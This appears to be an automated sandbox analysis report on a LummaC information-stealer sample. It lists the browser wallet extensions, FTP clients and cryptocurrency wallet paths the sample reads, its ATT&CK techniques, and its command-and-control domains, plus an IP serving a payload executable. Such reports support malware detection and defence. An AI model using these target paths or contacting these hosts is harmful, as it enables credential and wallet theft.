Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior

Source: Yara match	File source: 00000000.00000003.1770573568.0000000000F1C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5016, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 5016, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	34 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Process Injection	LSASS Memory	751 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	34 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	47%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\G5E9NUKC2KTUY7LAVOIZ5RDE8.exe	100%	Joe Sandbox ML

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
crisiwarny.store	1%	Virustotal		Browse
presticitpo.store	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.all	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://crl.rootca1.amazontrust.com/rootca1.crl0	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
http://crt.rootca1.amazontrust.com/rootca1.cer0?	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://crisiwarny.store/apie	3%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
crisiwarny.store	172.67.170.64	true	true	1%, Virustotal, Browse	unknown
presticitpo.store	unknown	unknown	true	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Reputation
presticitpo.store	true	unknown
https://crisiwarny.store/api	true	unknown
necklacedmny.store	true	unknown
fadehairucw.store	true	unknown
founpiuer.store	true	unknown
crisiwarny.store	true	unknown
scriptyprefej.store	true	unknown
navygenerayk.store	true	unknown
thumbystriw.store	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1723200351.00000000055E7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1723200351.00000000055E7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://crisiwarny.store/apie	file.exe, 00000000.00000003.1802131784.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1795708631.0000000000F39000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2140853839.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1785438684.0000000000F35000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794213036.0000000000F39000.00000004.00000020.00020000.00000000.sdmp	false	3%, Virustotal, Browse	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	file.exe, 00000000.00000003.1765836394.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1765867049.0000000000F4B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/pt	file.exe, 00000000.00000003.1802131784.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.1723200351.00000000055E7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/apiE5	file.exe, 00000000.00000003.1802224111.00000000055B0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1750017927.00000000055B0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	file.exe, 00000000.00000003.1722976796.00000000055FC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1723038253.00000000055F5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store:443/api	file.exe, 00000000.00000002.2140476340.0000000000E9F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2137486153.0000000000E9F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000003.1765867049.0000000000F4B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.1750672444.00000000055E1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.1750672444.00000000055E1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	file.exe, 00000000.00000003.1723038253.00000000055D0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.1723200351.00000000055E7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/p	file.exe, 00000000.00000003.1802131784.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.1751767745.00000000056C9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	file.exe, 00000000.00000003.1765836394.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1765867049.0000000000F4B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	file.exe, 00000000.00000003.1765836394.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1765867049.0000000000F4B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.1723200351.00000000055E7000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/&	file.exe, 00000000.00000002.2140853839.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1723200351.00000000055E7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.1750672444.00000000055E1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	file.exe, 00000000.00000003.1765836394.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1765867049.0000000000F4B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store:443/api3	file.exe, 00000000.00000002.2140476340.0000000000E9F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2137486153.0000000000E9F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.1750672444.00000000055E1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	file.exe, 00000000.00000003.1722976796.00000000055FC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1723038253.00000000055F5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1723200351.00000000055E7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.1751767745.00000000056C9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/apig_	file.exe, 00000000.00000003.1802131784.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1795708631.0000000000F39000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2140853839.0000000000F37000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.1723200351.00000000055E7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/	file.exe, 00000000.00000003.2137324066.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2140476340.0000000000F10000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/apino	file.exe, 00000000.00000003.1785536498.0000000000F1F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000003.1765836394.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1765867049.0000000000F4B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16:80/off/def.exe	file.exe, 00000000.00000002.2140476340.0000000000E9F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2137486153.0000000000E9F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/8	file.exe, 00000000.00000003.2137324066.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2140476340.0000000000F10000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.microsof	file.exe, 00000000.00000003.1722976796.00000000055FE000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.1750672444.00000000055E1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/apid/	file.exe, 00000000.00000003.1802131784.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1795708631.0000000000F39000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2140853839.0000000000F37000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exe	file.exe, 00000000.00000003.2137324066.0000000000F1F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2138991532.000000000064A000.00000004.00000010.00020000.00000000.sdmp, file.exe, 00000000.00000003.2137324066.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2140476340.0000000000F10000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/	file.exe, 00000000.00000003.2137607532.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	file.exe, 00000000.00000003.1723038253.00000000055D0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.1723200351.00000000055E7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.170.64	crisiwarny.store	United States		13335	CLOUDFLARENETUS	true
185.215.113.16	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1542980
Start date and time:	2024-10-27 02:02:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@2/1@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 1
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target file.exe, PID 5016 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
21:03:00	API Interceptor	86x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.170.64	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc	Browse
185.215.113.16	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/off/random.exe
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/well/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
crisiwarny.store	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
